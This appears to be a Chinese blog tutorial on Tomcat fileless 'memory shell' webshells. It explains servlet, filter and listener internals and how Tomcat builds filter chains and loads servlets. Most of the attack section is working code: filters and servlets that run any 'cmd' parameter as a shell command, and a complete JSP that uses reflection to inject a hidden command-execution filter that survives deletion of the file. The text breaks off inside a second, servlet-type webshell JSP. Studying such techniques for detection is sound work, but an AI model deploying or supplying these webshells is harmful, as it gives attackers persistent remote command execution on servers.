Tomcat内存马
什么是内存马?
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
如何实现内存马?
目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现:以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
类型
目前分为三种:
Servlet-API型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马
- filter型
- servlet型
- listener型
字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
spring类
javaweb三大件
servlet
1.什么是servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
2.请求的处理过程
客户端发起一个http请求,比如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法
3.servlet生命周期
1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。
2)servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
3)服务器关闭时,销毁这个servlet对象,执行destroy()方法。
4)由JVM进行垃圾回收。
Filter
简介
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
基本工作原理
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
Listener
简介
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
ServletContextListener:对Servlet上下文的创建和销毁进行监听;
ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换;
HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。
HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;
ServletRequestListener:对请求对象的初始化和销毁进行监听;
ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Tomcat基本架构
Tomcat 是Web应用服务器,是一个Servlet/JSP容器,Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。
其中Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
1. Engine,实现类为 org.apache.catalina.core.StandardEngine
2. Host,实现类为 org.apache.catalina.core.StandardHost
3. Context,实现类为 org.apache.catalina.core.StandardContext
4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
它们之间是存在父子关系的
Engine:可以用来配置多个虚拟主机,每个虚拟主机都有一个域名,当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理,Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。 Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
Wrapper:一个 Wrapper 代表一个 Servlet。
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)
Filter型内存马
相关类
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain:调用过滤器链
ApplicationFilterConfig:获取过滤器
ApplicationFilterFactory:组装过滤器链
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
Filter过滤链分析
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.FilterDemo</filter-class> </filter>
<filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<filter> <filter-name>filterDemo2</filter-name> <filter-class>filter.FilterDemo2</filter-class> </filter>
<filter-mapping> <filter-name>filterDemo2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
|
这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链
FilterDemo.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package filter;
import javax.servlet.*; import java.io.IOException;
public class FilterDemo implements Filter { public void init(FilterConfig filterConfig) throws ServletException { System.out.println("第一个Filter 初始化创建"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("第一个Filter执行过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }
|
FilterDemo2.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package filter;
import javax.servlet.*; import java.io.IOException;
public class FilterDemo2 implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("第二个Filter 初始化创建"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("第二个Filter执行过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }
|
Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml
先来看看在StandardWrapperValue.java文件中利用createFilterChain来创建filterChain
跟进createFilterChain方法
通过getParent()获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps,filtermaps就是web.xml中我们写入的filter
然后遍历该filtermaps
如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法
重复遍历直至将所有的filter全部装载到filterchain中
重新回到 StandardWrapperValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法
跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法
继续跟进
发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法。从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。
总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
根据上面的总结可以发现最开始是从 context 中获取的 FilterMaps
将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell。
了解完filter过滤链,我们正式开始学习filter内存马
filter内存马原理
Filter是javaweb中的过滤器,会对客户端发送的请求进行过滤并做一些操作,我们可以在filter中写入命令执行的恶意文件,让客户端发来的请求通过它来做命令执行。而filter内存马是通过动态注册一个恶意filter,由于是动态注册的,所以这个filter没有文件实体,存在于内存中,随着tomcat重启而消失。一般我们把这个filter放在所有filter最前面优先执行,这样我们的请求就不会受到其他正常filter的干扰。
动态注册:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| 在Java中,可以通过动态注册的方式实现各种功能的扩展和自定义。动态注册是指在运行时向系统注册或注销组件、插件或服务。以下是一些常见的 Java 动态注册的示例:
Java SPI(Service Provider Interface)机制:
Java SPI 是一种标准的动态注册机制,用于在运行时加载实现特定接口的类。 首先,在类路径下创建一个名为 META-INF/services 的文件夹。 在该文件夹下,创建一个以接口全限定名命名的文件,其中包含实现该接口的类的全限定名。 在运行时,使用 java.util.ServiceLoader 类加载并获取接口的实现类。
注解处理器(Apt):
注解处理器是在编译期间扫描和处理特定注解的工具。 创建一个注解,并定义相应的处理器。 在编译时,注解处理器将扫描源代码、找到被注解标记的元素,并执行相应的处理逻辑。
Java反射机制:
反射机制允许在运行时获取和使用类的信息、调用方法、访问字段等。 通过 Class.forName() 或 ClassLoader.loadClass() 方法加载类。 使用反射 API 获取类的构造函数、方法、字段等,并调用相应的方法。
使用外部配置文件:
将需要动态注册的类的相关配置信息保存在外部配置文件中,如 XML、Properties 等。 在应用程序启动时,读取配置文件并根据配置信息实例化对象。 这些方法都提供了动态注册的方式,具体选择哪个取决于您的需求和使用场景。无论哪种方式,动态注册使得系统更加灵活和可扩展,能够在不修改源代码的情况下增加、替换或删除组件。
|
web.xml实现简单内存马注入
我们先本地模拟一个filter内存马注入
编写web.xml文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>EvilFilter</filter-name> <filter-class>filter.EvilFilter</filter-class> </filter>
<filter-mapping> <filter-name>EvilFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<filter> <filter-name>filterDemo</filter-name> <filter-class>filter.FilterDemo</filter-class> </filter>
<filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<filter> <filter-name>filterDemo2</filter-name> <filter-class>filter.FilterDemo2</filter-class> </filter>
<filter-mapping> <filter-name>filterDemo2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
|
EvilFilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package filter;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class EvilFilter implements Filter { public void destroy() { }
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { System.out.println("进入命令执行"); HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request, response); }
public void init(FilterConfig config) throws ServletException {
}
}
|
我们把恶意的Filter注入内存中,只要符合urlpattern,就可以触发内存shell,但这个Filter内存马注入是一次性的,如果文件被删除,重启就没有了。
看一下此时的Filter类filterConfigs,filterDefs,filterMaps保存的内容
可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。
1
| 内存注入通常指的是将代码或数据注入到正在运行的进程的内存中,以实现对进程的修改或扩展。
|
Filter内存马动态注入
从上面的例子简单知道内存马的注入过程,但是实际环境中怎么可能在web.xml中添加对应的恶意Filter类,所以我们需要借用Java反射来修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,进而达到利用Filter执行内存注入的操作。
大致流程如下:
1. 创建一个恶意 Filter
2. 利用 FilterDef 对 Filter 进行一个封装
3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps
现在要解决的两个问题:
- 如何获取这个context对象。
- 如何修改filterConfigs,filterDefs,filterMaps,将我们的恶意类插入。
(1)如何获取context对象?
我们可以看到,这个context是StandardContext的实例化对象。
在这之前先来说一下ServletContext跟StandardContext的关系:
Tomcat中实现ServletContext接口的是ApplicationContext类和ApplicationContextFacade类。
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
可以看到,ApplicationContextFacade、ApplicationContext、StandardContext是包含关系的
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
其实也是层层递归取出context字段的值。
ServeltContext -> ApplicationContext
1 2 3 4 5 6
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
|
ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)
1 2 3 4 5
| Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
上面这种如果是可以直接获取到request对象,就可以通过将ServletContext转StandardContext这种方法来获取
(2)如何修改filterConfigs、filterDefs、filterMaps
查看StandardContext源码,先来介绍几个方法
addFilterDef
添加一个filterDef到Context
addFilterMapBefore
添加filterMap到所有filter最前面
ApplicationFilterConfig
为指定的过滤器构造一个新的 ApplicationFilterConfig
看一下filterDefs中恶意filter类的结构
实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中
1 2 3 4 5 6 7 8 9 10 11
| EvilFilter filter = new EvilFilter(); FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
|
再看一下filterMaps的结构
实例化一个FilterMap对象,并将filterMap到所有filter最前面
1 2 3 4 5 6 7 8 9 10 11
| FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
|
最后看一下filterConfig
FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
先获取当前filterConfigs信息
1 2 3
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
|
下面通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig
1 2 3
| Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
|
先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class与filterDef.class两种参数类型寻找对应的构造方法,获取一个Constructor类对象。
然后通过newInstance(standardContext, filterDef)来创建一个实例。
然后将恶意的filter名和配置好的filterConfig传入
1 2
| //name = EvilFilter filterConfigs.put(name,filterConfig);
|
至此,我们的恶意filter已经全部装载完成
(3)内存马动态注入
结合上面的分析,最终的内存马为:
filterDemo.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "FilterAgent"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
|
启动Tomcat服务,访问/filterDemo.jsp
这个时候我们的内存马已经注入成功了,那么只需要访问根目录即可执行命令
即使这个时候我把这个filterDemo.jsp文件删除依旧可以执行命令,这个内存马会一直维持到Tomcat服务关闭的一刻
Servlet型内存马
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.FilterDemo</filter-class> </filter>
<filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<filter> <filter-name>filterDemo2</filter-name> <filter-class>filter.FilterDemo2</filter-class> </filter>
<filter-mapping> <filter-name>filterDemo2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>servlet.ServletDemo</servlet-class> </servlet> <servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/servlet</url-pattern> </servlet-mapping> </web-app>
|
ServletDemo.java(便于调试分析)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package servlet;
import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.util.Scanner;
@WebServlet(value = "/servletDemo",name = "servletDemo") public class ServletDemo extends HttpServlet { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { System.out.println("servlet启动"); String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} }
|
调试分析
在 ContextConfig#processClass 方法处下断点,调试启动 Tomcat 中间件,程序会停在这个方法上。方法先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里因为是 Servlet 注释,所以进入的是 processAnnotationWebServlet 方法进行处理
跟进processAnnotationWebServlet方法
第一部分代码的作用是搜索@WebServlet
注解中的name
属性,并将其赋值给servletName
变量,那么这里的servletName变量为servletDemo,然后fragment.getServlets().get(servletName)
获取名为servletName
的ServletDef
对象,由于第一次配置servletName对应的ServletDef,所以这里servletDef变量暂时为null
继续向下
在servletDef类中配置servletDemo类
添加servletDemo
继续增加/servletDemo路由到ServletMapping
跟进ContextConfig的configureContext方法,该方法获取所有前面装配进 Webxml 的 Servlet,然后创建一个 Wrapper ,再判断 Servlet 里对应的 loadOnStartup 是否为空,不为空则把 loadOnStartup 设置进 Wrapper 里,最后设置 Wrapper.name 为 Servlet 的 name
loadOnStartup
其实就是 web.xml 配置 Servlet 时的一个配置
1
| <load-on-startup>1</load-on-startup>
|
继续跟进,最后将wrapper加入到child中
从 webxml 中获取所有前面装配进 Webxml 的 servletMappings
跟进 addServletMappingDecoded 方法,这里最终添加到的是 StandardContext#servletMappings 属性
总结一下,Servlet的生成与动态添加依次进行了以下步骤:
通过 context.createWapper() 创建 Wapper 对象;
设置 Servlet 的 LoadOnStartUp 的值;
设置 Servlet 的 Name;
设置 Servlet 对应的 Class;
将 Servlet 添加到 context 的 children 中;
将 url 路径和 servlet 类做映射。
servlet的装载过程
我们在StandardWrapper的loadServlet方法处下个断点
发现在这之前调用了StandardContext的startInternal方法
前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数
跟进loadOnStartup()方法
首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。
如果没有声明 load-on-startup 属性(默认为-1):
则该Servlet不会被动态添加到容器,然后对每个wapper进行装载:
装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:
装载:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)
销毁:停止服务器时调用destroy()方法,销毁实例
servelet内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| <%-- Created by IntelliJ IDEA. User: 杨晨鑫 Date: 2023/8/1 Time: 21:43 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.PrintWriter" %> <%! Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} }; %>
